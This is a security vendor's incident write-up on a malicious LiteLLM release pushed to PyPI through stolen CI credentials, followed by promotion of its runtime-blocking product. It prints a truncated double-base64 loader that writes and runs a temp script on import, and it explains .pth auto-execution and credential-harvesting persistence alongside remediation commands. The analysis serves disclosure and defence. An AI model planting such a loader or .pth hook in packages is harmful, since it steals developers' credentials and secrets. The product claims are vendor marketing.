On March 24, 2026, TeamPCP published two malicious versions of LiteLLM to PyPI. Within three hours, a credential-stealing payload reached AI infrastructure across 36% of monitored cloud environments.

This Is Not an AI Vulnerability

Before we dive in: this attack has nothing to do with LLM prompt injection, model jailbreaks, or AI safety. It's a software supply chain attack — the same class of threat that hit SolarWinds, Codecov, and ua-parser-js. The target just happens to be AI infrastructure. The vulnerability is in how packages are built, signed, and delivered — not in the models themselves.

What Is LiteLLM?

LiteLLM is a Python library that lets you call 100+ LLM APIs through a single interface. In proxy mode, it becomes a centralized AI gateway handling API keys, load balancing, and spend tracking. It's a transitive dependency in CrewAI, DSPy, MLflow, and LangChain — most teams don't know they run it. A library that handles every API key in your AI stack, installed 95M times per month. A perfect target.

How It Happened

TeamPCP didn't attack LiteLLM directly. Over the preceding month, they compromised two security scanners — Aqua Trivy and Checkmarx KICS — through misconfigured GitHub Actions, stealing CI/CD credentials at each step. Each compromise yielded tokens that unlocked the next target.

The final link: LiteLLM's CI pipeline ran apt-get install trivy — without pinning a version. It pulled the already-poisoned Trivy v0.69.4, which harvested the PYPI_PUBLISH token — the key to publishing Python packages under the LiteLLM name.

The Injection: Two Techniques in 13 Minutes

Version 1.82.7 (published 10:39 UTC) took the straightforward approach: 12 lines of obfuscated code injected into litellm/proxy/proxy_server.py at lines 128–139. The payload used double-base64 encoding — a ~4KB encoded string that decoded to a temp file and executed via subprocess.run(). It triggered whenever the proxy module was imported — which happens on every litellm --proxy start:

# Lines 128-139 of proxy_server.py (v1.82.7)
import subprocess, sys, base64, tempfile
_enc = "aW1wb3J0IH..."  # double-base64 (~4KB decoded)
_dec = base64.b64decode(base64.b64decode(_enc))
with tempfile.NamedTemporaryFile(suffix='.py', delete=False) as f:
    f.write(_dec); f.flush()
    subprocess.run([sys.executable, f.name])

Version 1.82.8 (published 10:52 UTC — just 13 minutes later) escalated the attack. It kept the proxy_server.py injection but added a far more dangerous mechanism: a litellm_init.pth file included directly in the wheel package.

The .pth Mechanism: Why It's Devastating

Python's .pth files are normally used to extend sys.path, but any line starting with import is executed as code during interpreter initialization — before any user script runs. This means:

• The malware fires on any python command — not just LiteLLM imports
• It runs before if __name__ == "__main__" — no way to guard against it
• The file was correctly declared in the wheel's RECORD file, so pip --require-hashes would have passed — the hash was valid because the malicious content was published with legitimate credentials
• It persists across virtualenv recreation — as long as the package is installed, the .pth executes

A critical bug: the .pth launcher spawned child processes via subprocess.Popen, which started new Python interpreters, which triggered the .pth again — creating an exponential fork bomb that crashed machines within seconds. This "bug in the malware" was likely the single biggest factor in accelerating detection, as affected systems became visibly unstable.

PyPI quarantined both versions at approximately 11:25 UTC — roughly three hours after the first publication. During that window, LiteLLM was averaging 3.4 million downloads per day.

The Payload

Click to expand each stage.

Suppression & Impact

When security researchers filed GitHub issue #24512 reporting the compromise, TeamPCP used the stolen maintainer account to close it as "not planned" — making it appear the legitimate maintainers had dismissed the report. The issue was simultaneously flooded with bot comments from accounts matching botnets previously observed during the Trivy disclosure, burying legitimate analysis under noise.

The attack's C2 domain — models.litellm.cloud — was deliberately chosen to mimic legitimate LiteLLM infrastructure, making network-level detection harder for defenders scanning for suspicious domains.

Across the full campaign (Trivy → npm → KICS → LiteLLM), TeamPCP claimed to have "stolen hundreds of gigabytes of data and more than half a million accounts." Over 20,000 repositories were considered potentially vulnerable. LiteLLM itself was present in 36% of monitored cloud environments according to Wiz research.

IoCs & Forensics

Detection & Remediation

If you installed LiteLLM between Mar 24 10:39–11:25 UTC → full credential exposure.

• Check version: pip show litellm | grep Version
• Find .pth: find "$(python -c 'import site;print(site.getsitepackages()[0])')" -name "litellm_init.pth"
• Check persistence: ls ~/.config/sysmon/ ~/.config/systemd/user/sysmon.service
• Audit K8s: kubectl get pods -n kube-system | grep node-setup
• Rotate ALL credentials from affected environment
• Rebuild from clean image — persistence survives pip uninstall

How Imunify for AI agents Stops This

Once a package is installed, nothing inspects what it does at runtime. Imunify for AI agents fills this gap with kernel-level interception — eBPF hooks, fanotify, transparent HTTP proxy.

The Kill Chain — Every Stage Blocked

Step 1

Read credentials

File access frozen. Policy denies read. Secret patterns detected in content.

Step 2

Encrypt & archive

Nothing to encrypt — all reads were denied. Empty result.

Step 3

Send to attacker

Network connection denied at kernel level. Data never leaves the machine.

Step 4

Install backdoor

Write to system directories denied. Persistence never installed.

All 4 stages neutralized — process killed by Imunify for AI agents

Confirmed Discovery

eBPF

When the protected AI service starts, the sensor confirms its service, executable, container, or plugin identity before the PID enters kernel tracking. A matching process name alone is treated as discovery data, not an enforcement scope.

File Read Blocking

Fanotify

Every file LiteLLM opens is intercepted — the process is frozen in the kernel until policy decides. The compromised version's attempt to sweep credentials from .env, SSH keys, and cloud configs is denied on each read. A content scanner with 200+ secret patterns catches credentials even in unexpected file paths.

Network Correlation

Rules

Cross-event correlation rules catch the exact pattern this attack uses: if LiteLLM (or any tracked process) reads .env files and then attempts an outbound HTTP connection, the connection is automatically blocked — no human decision needed. Unknown destinations require explicit approval via Telegram, Discord, or Web UI before any data leaves the machine.

Behavioral Kill

Auto

When the compromised LiteLLM triggers a rapid burst of blocked file reads — the exact pattern of a credential harvester scanning the filesystem — Imunify for AI agents automatically kills the process. No human intervention. The attack dies before it finishes its first sweep.

Imunify for AI agents Blocking the LiteLLM Attack in Real Time

Replay

Conclusion

Supply chain attacks cascade. One misconfigured GitHub Action → credential theft → npm → KICS → PyPI. Incomplete remediation at each step left doors open.

Build-time security is necessary but insufficient. Signatures and hashes don't help when a compromised version is published with valid credentials. Runtime interception watches what code does, not where it came from.

Twelve lines. Three hours. Ninety-five million downloads. The next attack won't look like this one — but the syscalls will be the same.